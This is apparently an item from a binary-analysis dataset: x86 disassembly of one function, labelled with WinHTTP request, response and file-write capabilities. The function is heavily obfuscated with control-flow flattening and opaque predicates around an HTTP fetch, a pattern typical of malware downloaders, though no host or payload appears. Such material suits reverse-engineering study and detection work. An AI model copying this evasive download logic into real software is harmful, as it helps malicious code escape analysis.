Function at 0x41cc97
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x9c
mov dword [ebp - 0x10], 0x81fa5c77
xor esi, esi
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov eax, dword [ebp - 0x10]
cmp eax, 0xe32c472
jg 0x41cd19
cmp eax, 0xc889b022
jg 0x41cddf
cmp eax, 0xa5c6a2a9
jle 0x41ceb2
cmp eax, 0xb9cab83f
jg 0x41cfb7
cmp eax, 0xb2306a5a
jg 0x41d3df
cmp eax, 0xacdf80a9
jg 0x41da83
cmp eax, 0xa5c6a2aa
je 0x41e1ea
cmp eax, 0xa792b3d7
jne 0x41ccb2
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov dword [ebp - 0x10], 0x6d8041ac
jmp 0x41ccb2
cmp eax, 0x4162420d
jle 0x41cd7d
cmp eax, 0x64309eaf
jle 0x41ce49
cmp eax, 0x6e54c1db
jle 0x41cffc
cmp eax, 0x727d9e31
jg 0x41d238
cmp eax, 0x7204a13b
jg 0x41d729
cmp eax, 0x6e54c1dc
je 0x41dd43
cmp eax, 0x6f1ffd6b
jne 0x41ccb2
imul eax, dword [ebp - 0x18], 0x1b800
add eax, 0x2f76e00
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x15e52e6e
jmp 0x41ccb2
cmp eax, 0x1bd97aa4
jg 0x41cef5
cmp eax, 0x1690da94
jle 0x41d0ca
cmp eax, 0x18f92351
jg 0x41d336
cmp eax, 0x16ccf7b1
jg 0x41d92f
cmp eax, 0x1690da95
je 0x41e002
cmp eax, 0x16ae0529
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
mov ecx, 0x7ffffff
and eax, ecx
lea eax, [eax*4 - 6]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x46954575
jmp 0x41ccb2
cmp eax, 0xe95f12ed
jg 0x41cf50
cmp eax, 0xd9327504
jle 0x41d168
cmp eax, 0xe0fb73a5
jg 0x41d45a
cmp eax, 0xda92134b
jg 0x41db6f
cmp eax, 0xd9327505
je 0x41e325
cmp eax, 0xd96e9fa3
jne 0x41ccb2
imul ecx, dword [ebp - 0x14], 0x2b
add ecx, 0xfffff3cf
mov eax, ecx
shr eax, 8
mov dword [ebp - 0x14], eax
mov eax, 0x744fc4ce
cmp ecx, 0x7300
jae 0x41e39e
jmp 0x41e415
cmp eax, 0x4d2f2d5a
jle 0x41d03d
cmp eax, 0x53958b13
jg 0x41d28b
cmp eax, 0x4dedc3c2
jg 0x41d777
cmp eax, 0x4d2f2d5b
je 0x41ddd2
cmp eax, 0x4d75da69
jne 0x41ccb2
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
add ecx, ecx
push ecx
push dword [eax]
push dword [ebp - 0x34]
call fcn.004441d0
add esp, 0xc
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + 0x18]
mov word [ebp - 0x5a], ax
mov dword [ebp - 0x10], 0x99aefd2
jmp 0x41ccb2
cmp eax, 0x9b6f65da
jle 0x41d07a
cmp eax, 0xa2362862
jg 0x41d2fb
cmp eax, 0x9f55d048
jg 0x41d884
cmp eax, 0x9b6f65db
je 0x41df7d
cmp eax, 0x9e2a8d5b
jne 0x41ccb2
mov dword [ebp - 0x10], 0x4774cb5
jmp 0x41ccb2
cmp eax, 0x2c3208a0
jg 0x41d10f
cmp eax, 0x228425fe
jg 0x41d385
cmp eax, 0x216f6112
jg 0x41d951
cmp eax, 0x1bd97aa5
je 0x41e035
cmp eax, 0x20baa0c4
jne 0x41ccb2
push eax
sub esp, 0x3fc
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x10], 0x9e2a8d5b
jmp 0x41ccb2
cmp eax, 0xff656b4a
jg 0x41d200
cmp eax, 0xf5632117
jg 0x41d4a3
cmp eax, 0xf22e2b3c
jg 0x41dbc1
cmp eax, 0xe95f12ee
je 0x41e331
cmp eax, 0xea7b87b1
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
lea ecx, [eax + 0x1da]
imul ecx, ecx
imul edx, ecx, 0x2a4b
dec edx
add eax, 0x34
mov dword [ebp - 0x18], eax
mov eax, 0xd3a405e9
cmp ecx, edx
je 0x41e5b1
mov eax, 0xa5421aee
jmp 0x41e5b1
cmp eax, 0xc309d5c2
jg 0x41d428
cmp eax, 0xbd3b22ad
jg 0x41dab9
cmp eax, 0xb9cab840
je 0x41e230
cmp eax, 0xbc15ecb5
jne 0x41ccb2
cmp dword [ebp - 0x58], 0
mov eax, 0xd9327505
je 0x41e5b1
mov eax, 0xacdf80aa
jmp 0x41e5b1
cmp eax, 0x69eb0770
jle 0x41d4fe
cmp eax, 0x6d6a4e8f
jg 0x41d6cc
cmp eax, 0x69eb0771
je 0x41dcb6
cmp eax, 0x6c4a7760
jne 0x41ccb2
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov dword [ebp - 0x10], 0x6f1ffd6b
jmp 0x41ccb2
cmp eax, 0x461a3d5c
jle 0x41d557
cmp eax, 0x48ec64bf
jg 0x41d6f3
cmp eax, 0x461a3d5d
je 0x41dd2b
cmp eax, 0x46954575
jne 0x41ccb2
push dword [ebp - 0x58]
call ebx
mov dword [ebp - 0x10], 0x380a7605
jmp 0x41ccb2
cmp eax, 0x8da2ce69
jle 0x41d592
cmp eax, 0x94131199
jg 0x41d811
cmp eax, 0x8da2ce6a
je 0x41de5b
cmp eax, 0x8db0eb53
jne 0x41ccb2
cmp dword [ebp - 0x44], 0
mov eax, 0xff656b4b
je 0x41d0b6
mov eax, 0xd56e4003
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x4c], eax
jmp 0x41ccb2
cmp eax, 0x14afc216
jle 0x41d5df
cmp eax, 0x15676355
jg 0x41d83d
cmp eax, 0x14afc217
je 0x41dece
cmp eax, 0x15670044
jne 0x41ccb2
cmp byte [ebp - 0x29], 0
mov eax, 0xa2362863
jne 0x41e5b1
mov eax, 0xa4d39bfc
jmp 0x41e5b1
cmp eax, 0x3773f20e
jle 0x41d619
cmp eax, 0x3910c13f
jg 0x41d85f
cmp eax, 0x3773f20f
je 0x41def8
cmp eax, 0x380a7605
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
lea ecx, [eax - 0xd]
imul ecx, ecx
add eax, 0xffffffe7
imul edx, ecx, 0x275d
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0x686a1597
cmp edx, ecx
je 0x41e415
mov eax, 0x12d405c6
jmp 0x41e415
cmp eax, 0xd2e72069
jle 0x41d651
cmp eax, 0xd56e4002
jg 0x41d9d0
cmp eax, 0xd2e7206a
je 0x41e189
cmp eax, 0xd3a405e9
jne 0x41ccb2
mov eax, dword [ebp - 0x14]
shl eax, 8
add eax, 0x500
and eax, 0xffffc000
or eax, 0x15
mov dword [ebp - 0x14], eax
push eax
push 0x4c25
push 0x3a27
push 0x527f
push 0x340a
push 0x600c
push 0x4706
push 0xeeb
push 0x4734
push 0x636b
push 0x196c
push 0x489c
push 0x2e9c
push 0x3729
call fcn.0041ad11
add esp, 0x38
mov dword [ebp - 0x10], 0x4d75da69
jmp 0x41ccb2
cmp eax, 0x8fe7f8c
jg 0x41d68a
cmp eax, 0x71df35c
jg 0x41da12
cmp eax, 0xff656b4b
je 0x41e1a4
cmp eax, 0x4774cb5
jne 0x41e643
mov dword [ebp - 0x10], 0xe67b9927
jmp 0x41ccb2
cmp eax, 0x744fc4cd
jg 0x41d74b
cmp eax, 0x727d9e32
je 0x41dd88
cmp eax, 0x7301b97c
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
lea ecx, [eax + 0x54]
imul ecx, ecx
imul edx, ecx, 0x2667
dec edx
imul eax, eax, 0x67
add eax, 0x53b
mov dword [ebp - 0x18], eax
mov eax, 0xe95f12ee
cmp edx, ecx
je 0x41e5b1
mov eax, 0x2ca1adc8
jmp 0x41e5b1
cmp eax, 0x5f2129fc
jg 0x41d7c5
cmp eax, 0x53958b14
je 0x41de00
cmp eax, 0x58583936
jne 0x41ccb2
mov eax, dword [ebp - 0x14]
lea edi, [eax*4 - 0x46]
mov eax, edi
shr eax, 0xe
mov dword [ebp - 0x14], eax
push 0x299a
push eax
push 0x51f9
push 0x4ab8
push 0x4ef9
push 0x3d1e
call fcn.004134c0
add esp, 0x18
mov eax, 0x21b24c42
cmp edi, 0x124000
jb 0x41e415
mov eax, 0x15676356
jmp 0x41e415
cmp eax, 0xa4d39bfb
jg 0x41d8e3
cmp eax, 0xa2362863
je 0x41df9e
cmp eax, 0xa4255ffa
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
shl eax, 0xb
or eax, 0x86
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x72585e74
jmp 0x41ccb2
cmp eax, 0x1aeaaa3d
jg 0x41d980
cmp eax, 0x18f92352
je 0x41e04f
cmp eax, 0x19547592
jne 0x41ccb2
mov edi, dword [ebp - 0x14]
shl edi, 5
and edi, 0x3ffffe0
mov dword [ebp - 0x14], edi
push edi
call fcn.0041b9e1
add esp, 4
mov eax, 0x1abffb28
cmp edi, 0xfd
jb 0x41e410
jmp 0x41e415
cmp eax, 0x281a67fe
jg 0x41d9a5
cmp eax, 0x228425ff
je 0x41e09e
cmp eax, 0x27a97148
jne 0x41ccb2
mov eax, dword [ebp - 0x6c]
xor ecx, ecx
dec ecx
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
mov dword [eax + 0x30], ecx
mov edi, dword [ebp + 8]
push edi
call fcn.00453d3c
add esp, 4
push dword [ebp - 0x1c]
push 0
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpCrackUrl]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x10], 0x744fc4ce
jmp 0x41ccb2
cmp eax, 0xb51aa46d
jg 0x41daf3
cmp eax, 0xb2306a5b
je 0x41e24f
cmp eax, 0xb3eebb1d
jne 0x41ccb2
mov ecx, dword [ebp - 0x14]
mov eax, 0xffffff35
add ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, 0x281a67ff
cmp ecx, 0xd5
jae 0x41e415
mov eax, 0xc00ab0bf
jmp 0x41e415
cmp eax, 0xc43f69a9
jg 0x41db40
cmp eax, 0xc309d5c3
je 0x41e28a
cmp eax, 0xc410ea73
jne 0x41ccb2
push dword [ebp - 0x54]
call ebx
mov dword [ebp - 0x10], 0xc43f69aa
jmp 0x41ccb2
cmp eax, 0xe65521bd
jg 0x41dc09
cmp eax, 0xe0fb73a6
je 0x41e37c
cmp eax, 0xe2176d6b
jne 0x41ccb2
imul ecx, dword [ebp - 0x14], 0x4e5c
add ecx, 0xffe2ae18
mov dword [ebp - 0x14], ecx
mov eax, 0x4162420e
cmp ecx, 0x41
jge 0x41e415
mov eax, 0x4aa1dcba
jmp 0x41e415
cmp eax, 0xf88e80a1
jg 0x41dc34
cmp eax, 0xf5632118
je 0x41e3a5
cmp eax, 0xf8648679
jne 0x41ccb2
mov eax, dword [ebp - 0x14]
shl eax, 6
add eax, 0x1840
mov edi, 0x8d5be836
and eax, 0xfffffe00
mov dword [ebp - 0x14], eax
je 0x41d4e3
mov edi, 0xd96e9fa3
push 0x47d3
push 0x2236
push eax
call fcn.0041bd76
add esp, 0xc
mov dword [ebp - 0x10], edi
jmp 0x41ccb2
cmp eax, 0x686a1596
jg 0x41dc5d
cmp eax, 0x64309eb0
je 0x41dc86
cmp eax, 0x66684271
jne 0x41ccb2
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*4]
lea edi, [eax + eax*4]
add edi, 0xffffff06
mov dword [ebp - 0x14], edi
push edi
push 0x4f8f
call fcn.00417887
add esp, 8
mov eax, 0x9b6f65db
cmp edi, 0x14
jge 0x41e415
mov eax, 0x14afc217
jmp 0x41e415
cmp eax, 0x4162420e
je 0x41e45c
cmp eax, 0x42455599
je 0x41e477
cmp eax, 0x4443c68a
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
shl eax, 0x14
add eax, 0xfffffda6
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xe95f12ee
jmp 0x41ccb2
cmp eax, 0x817a63f3
je 0x41e4a7
cmp eax, 0x81fa5c77
je 0x41e531
cmp eax, 0x8d725caf
jne 0x41ccb2
imul edi, dword [ebp - 0x14], 0xc6
add edi, 0xfffec914
mov dword [ebp - 0x14], edi
push edi
call fcn.0041be31
add esp, 4
mov eax, 0x19547592
cmp edi, 0x78
jne 0x41dceb
jmp 0x41e415
cmp eax, 0xe32c473
je 0x41e4d4
cmp eax, 0xefa0553
je 0x41e546
cmp eax, 0x12d405c6
jne 0x41ccb2
cmp byte [ebp - 0x1d], 0
mov eax, 0x69262631
jne 0x41e415
mov eax, 0xc410ea73
jmp 0x41e415
cmp eax, 0x2c3208a1
je 0x41e504
cmp eax, 0x2ca1adc8
je 0x41e56f
cmp eax, 0x36c04364
jne 0x41ccb2
cmp dword [ebp - 0x9c], 0
sete byte [ebp - 0x29]
mov dword [ebp - 0x10], 0xe32c473
jmp 0x41ccb2
cmp eax, 0xc889b023
je 0x41e587
cmp eax, 0xd161ecc6
je 0x41e5c5
cmp eax, 0xd17bb27d
jne 0x41ccb2
mov eax, dword [ebp - 0x40]
add eax, 6
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x10], 0x2c3208a1
jmp 0x41ccb2
cmp eax, 0x8fe7f8d
je 0x41e5b9
cmp eax, 0x99aefd2
je 0x41e608
cmp eax, 0xacde224
jne 0x41ccb2
cmp dword [ebp - 0x54], 0
sete byte [ebp - 0x1d]
cmp byte [ebp - 0x1d], 0
mov eax, 0xd9327505
jne 0x41e5b1
mov eax, 0xf402c2cf
jmp 0x41e5b1
cmp eax, 0x6d6a4e90
je 0x41dcf5
cmp eax, 0x6d8041ac
jne 0x41ccb2
push dword [ebp - 0x24]
call ebx
mov dword [ebp - 0x10], 0x16ae0529
jmp 0x41ccb2
cmp eax, 0x48ec64c0
je 0x41dd37
cmp eax, 0x4aa1dcba
jne 0x41ccb2
mov ecx, dword [ebp - 0x14]
mov eax, 0x175
add ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, 0x7ce864b7
cmp ecx, 0x17
jne 0x41e39e
jmp 0x41e415
cmp eax, 0x7204a13c
je 0x41dc51
cmp eax, 0x72585e74
jne 0x41ccb2
mov dword [ebp - 0x10], 0x8fe7f8d
jmp 0x41ccb2
cmp eax, 0x744fc4ce
je 0x41ddb6
cmp eax, 0x7d360db5
jne 0x41ccb2
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
mov dword [eax], esi
mov dword [ebp - 0x10], 0x46954575
jmp 0x41ccb2
cmp eax, 0x4dedc3c3
je 0x41de15
cmp eax, 0x51b7edda
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
add eax, 0x6a
shr eax, 1
imul ecx, eax, 0x2d40
imul eax, eax
imul edx, eax, 0x61eb
dec edx
add ecx, 0xfff0cc80
mov dword [ebp - 0x18], ecx
mov ecx, 0x6c4a7760
cmp eax, edx
je 0x41e02d
mov ecx, 0x727d9e32
jmp 0x41e02d
cmp eax, 0x5f2129fd
je 0x41de41
cmp eax, 0x62fdb108
jne 0x41ccb2
mov cl, byte [ebp - 0x2d]
cmp byte [ebp - 0x2e], 0
mov eax, 0x3910c140
jne 0x41d7ee
mov eax, 0x6e54c1dc
test cl, cl
jne 0x41d7f7
mov eax, 0x6e54c1dc
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x74]
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ecx
jmp 0x41ccb2
cmp eax, 0x9413119a
je 0x41dea0
cmp eax, 0x98439b28
jne 0x41ccb2
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x10], 0xefa0553
jmp 0x41ccb2
cmp eax, 0x15676356
je 0x41df04
cmp eax, 0x15e52e6e
jne 0x41ccb2
mov dword [ebp - 0x10], 0x4d2f2d5b
jmp 0x41ccb2
cmp eax, 0x3910c140
je 0x41df5f
cmp eax, 0x3cf3a764
jne 0x41ccb2
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x4162420e
jmp 0x41ccb2
cmp eax, 0x9f55d049
je 0x41dfaa
cmp eax, 0xa046f11e
jne 0x41ccb2
mov eax, dword [ebp - 0x14]
lea edi, [eax*8 - 0x43]
mov dword [ebp - 0x14], edi
push edi
call fcn.0041c721
add esp, 4
push 0x12fd
push 0x48f
push edi
push 0x3c45
call fcn.00418c36
add esp, 0x10
mov eax, 0xb9cab840
cmp edi, 0xd0
jge 0x41e415
mov eax, 0xa4d39bfc
jmp 0x41e415
cmp eax, 0xa4d39bfc
je 0x41dfe5
cmp eax, 0xa5421aee
jne 0x41ccb2
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
cmp dword [eax], 2
sete cl
shl ecx, 0x17
mov dword [ebp - 0x90], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x94], eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], 0x9413119a
jmp 0x41ccb2
cmp eax, 0x16ccf7b2
je 0x41e0ad
cmp eax, 0x18704591
jne 0x41ccb2
mov dword [ebp - 0x10], 0xe65521be
jmp 0x41ccb2
cmp eax, 0x216f6113
je 0x41e0dc
cmp eax, 0x21a94854
jne 0x41ccb2
cmp dword [ebp - 0x24], 0
mov eax, 0xa4255ffa
je 0x41e5b1
mov eax, 0x7204a13c
jmp 0x41e5b1
cmp eax, 0x1aeaaa3e
je 0x41e10f
cmp eax, 0x1bccc98a
jne 0x41ccb2
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], 0x686a1597
jmp 0x41ccb2
cmp eax, 0x295507c4
je 0x41e144
cmp eax, 0x2af00f3c
jne 0x41e636
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x3c
mov dword [ebp - 0x10], 0x9f55d049
jmp 0x41ccb2
cmp eax, 0xd56e4003
je 0x41e1c5
cmp eax, 0xd594e192
jne 0x41ccb2
mov ecx, dword [ebp - 0x14]
add ecx, 0xffffffd4
mov eax, ecx
shr eax, 0xd
add eax, 0xd0
shr eax, 0xa
mov dword [ebp - 0x14], eax
mov eax, 0x66684271
cmp ecx, 0x5ee60000
jb 0x41db36
jmp 0x41e415
cmp eax, 0x71df35d
je 0x41e1d4
cmp eax, 0x86f27b1
jne 0x41ccb2
mov edi, dword [ebp - 0x14]
shl edi, 0x1d
mov dword [ebp - 0x14], edi
push edi
call fcn.00416d4b
add esp, 4
push 0x227c
push 0x1331
push 0x5ff2
push 0x8b1
push 0x3afe
push 0x1146
push edi
push 0x5887
push 0x340f
call fcn.00419bd5
add esp, 0x24
mov eax, 0xb2306a5b
cmp edi, 0x3a
jge 0x41e415
mov eax, 0xb9cab840
jmp 0x41e415
cmp eax, 0xacdf80aa
je 0x41e2a1
cmp eax, 0xb0c64ceb
jne 0x41ccb2
mov ecx, dword [ebp - 0x14]
mov eax, 0xfffffe19
add ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, 0x2ca1adc8
cmp ecx, 0x10
jb 0x41e410
jmp 0x41e415
cmp eax, 0xbd3b22ae
je 0x41e2b9
cmp eax, 0xbdce7d44
jne 0x41ccb2
mov eax, dword [ebp - 0xa0]
add eax, dword [ebp - 0x80]
push eax
push dword [ebp - 0x7c]
call fcn.00450451
add esp, 8
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x10], 0x3773f20f
jmp 0x41ccb2
cmp eax, 0xb51aa46e
je 0x41e2f0
cmp eax, 0xb54cdf44
jne 0x41ccb2
mov edi, dword [ebp - 0x14]
mov eax, edi
shr eax, 0xc
add eax, 0x41
mov dword [ebp - 0x14], eax
push 0x3b54
push eax
call fcn.004178c5
add esp, 8
mov eax, 0x4162420e
cmp edi, 0x84000
jae 0x41e415
mov eax, 0x20baa0c4
jmp 0x41e415
cmp eax, 0xc43f69aa
je 0x41e30b
cmp eax, 0xc70dd2bd
jne 0x41ccb2
cmp byte [ebp - 0x2a], 0
mov eax, 0xa2362863
jne 0x41e5b1
mov eax, 0xf22e2b3d
jmp 0x41e5b1
cmp eax, 0xda92134c
je 0x41e3c8
cmp eax, 0xdb9c6041
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
shl eax, 0xb
add eax, 0xffffff6b
shr eax, 0xe
mov ecx, eax
imul ecx, eax
shl eax, 0xa
imul edx, ecx, 0x61e7
dec edx
add eax, 0xffffff08
mov dword [ebp - 0x18], eax
mov eax, 0x86f27b1
cmp edx, ecx
je 0x41e5b1
mov eax, 0xc70dd2bd
jmp 0x41e5b1
cmp eax, 0xf22e2b3d
je 0x41e41d
cmp eax, 0xf402c2cf
jne 0x41ccb2
mov eax, dword [ebp - 0x18]
add eax, 0x56
mov ecx, eax
imul ecx, eax
shr eax, 5
imul edx, ecx, 0x2df3
dec edx
imul eax, eax, 0x33
mov dword [ebp - 0x18], eax
mov eax, 0xa5c6a2aa
cmp edx, ecx
je 0x41e5b1
mov eax, 0x1bccc98a
jmp 0x41e5b1
cmp eax, 0xe65521be
je 0x41e42c
cmp eax, 0xe67b9927
jne 0x41ccb2
push eax
sub esp, 0x20
mov eax, esp
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x10], 0x4443c68a
jmp 0x41ccb2
cmp eax, 0xf88e80a2
je 0x41e441
cmp eax, 0xf8f581d1
jne 0x41ccb2
mov dword [ebp - 0x14], 0x72000000
mov dword [ebp - 0x10], 0x9b6f65db
jmp 0x41ccb2
cmp eax, 0x686a1597
jne 0x41e62a
push 0x400
push 0
push dword [ebp - 0x34]
call fcn.00444cd0
add esp, 0xc
mov dword [ebp - 0x10], 0x7301b97c
jmp 0x41ccb2
imul ecx, dword [ebp - 0x14], 0x20be27
add ecx, 0x3618c6
mov eax, ecx
shr eax, 0x18
mov dword [ebp - 0x14], eax
mov eax, 0xe0fb73a6
cmp ecx, 0x71000000
jb 0x41e415
mov eax, 0xbc15ecb5
jmp 0x41e415
mov edi, dword [ebp - 0x14]
shl edi, 0xd
or edi, 0x140
mov dword [ebp - 0x14], edi
push 0x4691
push 0x1276
push 0x39f4
push edi
call fcn.0041543a
add esp, 0x10
mov eax, 0xf8f581d1
cmp edi, 0x3b
jge 0x41e415
mov eax, 0x99aefd2
jmp 0x41e415
mov cl, byte [ebp - 0x2b]
cmp byte [ebp - 0x2c], 0
mov eax, 0x3910c140
jne 0x41dd08
mov eax, 0xff656b4b
test cl, cl
jne 0x41dd11
mov eax, 0xff656b4b
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x4c], esi
jmp 0x41ccb2
mov dword [ebp - 0x10], 0xc309d5c3
jmp 0x41ccb2
mov dword [ebp - 0x10], 0x53958b14
jmp 0x41ccb2
mov eax, dword [ebp - 0x18]
mov ecx, 0x8c
add eax, ecx
imul ecx, eax, 0xca
imul eax, eax
imul edx, eax, 0x5689
add ecx, 0x8a
dec edx
mov dword [ebp - 0x18], ecx
mov ecx, 0x8d725caf
cmp eax, edx
je 0x41dd74
mov ecx, 0xff656b4b
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x4c], eax
jmp 0x41ccb2
push dword [ebp - 0x28]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
setne byte [ebp - 0x2d]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
setne byte [ebp - 0x2e]
mov dword [ebp - 0x10], 0xd2e7206a
jmp 0x41ccb2
cmp dword [ebp - 0x84], 0
mov eax, 0x1aeaaa3e
je 0x41e5b1
mov eax, 0xacde224
jmp 0x41e5b1
push dword [ebp - 0x28]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
setne byte [ebp - 0x2b]
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
setne byte [ebp - 0x2c]
mov dword [ebp - 0x10], 0xc889b023
jmp 0x41ccb2
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
mov dword [ebp - 0x10], 0xf88e80a2
jmp 0x41ccb2
imul eax, dword [ebp - 0x18], 0x15c00
lea ecx, [eax + 0x57]
lea ecx, [ecx + ecx*8]
lea ecx, [ecx + ecx*2]
add eax, ecx
add eax, 0x57
shr eax, 0xf
add eax, 0x9c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x36c04364
jmp 0x41ccb2
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
push dword [ebp - 0x24]
call ebx
mov dword [ebp - 0x10], 0x1690da95
jmp 0x41ccb2
imul edi, dword [ebp - 0x14], 0xb4
add edi, 0x6c48
mov dword [ebp - 0x14], edi
push 0x3607
push edi
push 0x456f
push 0x4218
push 0x173a
call fcn.004179a8
add esp, 0x14
call fcn.00416d1f
mov eax, 0x4d75da69
cmp edi, 0x78
jl 0x41e410
jmp 0x41e415
mov ecx, dword [ebp - 0x18]
add ecx, 0xffffff96
imul ecx, ecx
imul edx, ecx, 0x69fb
dec edx
mov dword [ebp - 0x18], 0xb1000
mov eax, 0xacdf80aa
cmp edx, ecx
je 0x41e5b1
mov eax, 0xd17bb27d
jmp 0x41e5b1
push dword [ebp - 0x90]
push esi
push esi
push esi
push dword [ebp - 0x94]
push dword [ebp - 0x40]
push dword [ebp - 0x58]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x10], 0x1bd97aa5
jmp 0x41ccb2
mov dword [ebp - 0x10], 0x8db0eb53
jmp 0x41ccb2
imul edi, dword [ebp - 0x14], 0x550
add edi, 0xfffff60a
mov dword [ebp - 0x14], edi
push edi
push 0x7cc
push 0x1912
push 0x5d13
call fcn.0041be68
add esp, 0x10
push 0x3ae4
push edi
push 0xedc
push 0x13d2
call fcn.004135ee
add esp, 0x10
mov eax, 0x36c04364
cmp edi, 0x97
jae 0x41e415
mov eax, 0xe95f12ee
jmp 0x41e415
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x10], 0x98439b28
jmp 0x41ccb2
push esi
push esi
push esi
push esi
push esi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x10], 0x4dedc3c3
jmp 0x41ccb2
mov dword [ebp - 0x10], 0x48ec64c0
jmp 0x41ccb2
mov edx, dword [ebp - 0x18]
lea eax, [edx + 0xd4]
imul eax, eax
imul ecx, eax, 0xf6b
mov edi, edx
shl edi, 5
sub edi, edx
sub edi, edx
add edi, 0xfffffd4e
dec ecx
mov dword [ebp - 0x18], edi
mov edx, 0x20baa0c4
cmp eax, ecx
je 0x41dfdd
mov edx, 0xb9cab840
mov dword [ebp - 0x10], edx
jmp 0x41ccb2
push 0
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
sete byte [ebp - 0x2a]
mov dword [ebp - 0x10], 0xdb9c6041
jmp 0x41ccb2
mov ecx, dword [ebp - 0x18]
mov eax, ecx
shr eax, 5
imul eax, eax
imul edx, eax, 0x4f5b
dec edx
shr ecx, 1
and ecx, 0x1ffff0
mov dword [ebp - 0x18], ecx
mov ecx, 0x64309eb0
cmp eax, edx
je 0x41e02d
mov ecx, 0x46954575
mov dword [ebp - 0x10], ecx
jmp 0x41ccb2
mov eax, dword [ebp - 0x18]
shl eax, 0x16
add eax, 0xefc00000
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x21a94854
jmp 0x41ccb2
mov edi, dword [ebp - 0x14]
shl edi, 0x15
mov dword [ebp - 0x14], edi
push 0x42c2
push 0xabe
push edi
call fcn.0041a9c6
add esp, 0xc
push 0x50ea
push edi
push 0xff0
push 0x3613
call fcn.0041bea5
add esp, 0x10
mov eax, 0xa5421aee
cmp edi, 0xf2
jge 0x41e415
mov eax, 0xd594e192
jmp 0x41e415
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], 0xbc15ecb5
jmp 0x41ccb2
mov eax, dword [ebp - 0x18]
shr eax, 0x13
add eax, 0x76
imul ecx, eax, 0x192000
imul eax, eax
imul edx, eax, 0x8173
dec edx
add ecx, 0xffffffe4
mov dword [ebp - 0x18], ecx
mov ecx, 0x2bd905e
cmp edx, eax
je 0x41e13c
mov ecx, 0x12d405c6
jmp 0x41e13c
imul ecx, dword [ebp - 0x18], 0x47
add ecx, 0xfe0
mov eax, ecx
shl eax, 0x15
imul ecx, ecx
imul edx, ecx, 0x7445
dec edx
mov dword [ebp - 0x18], eax
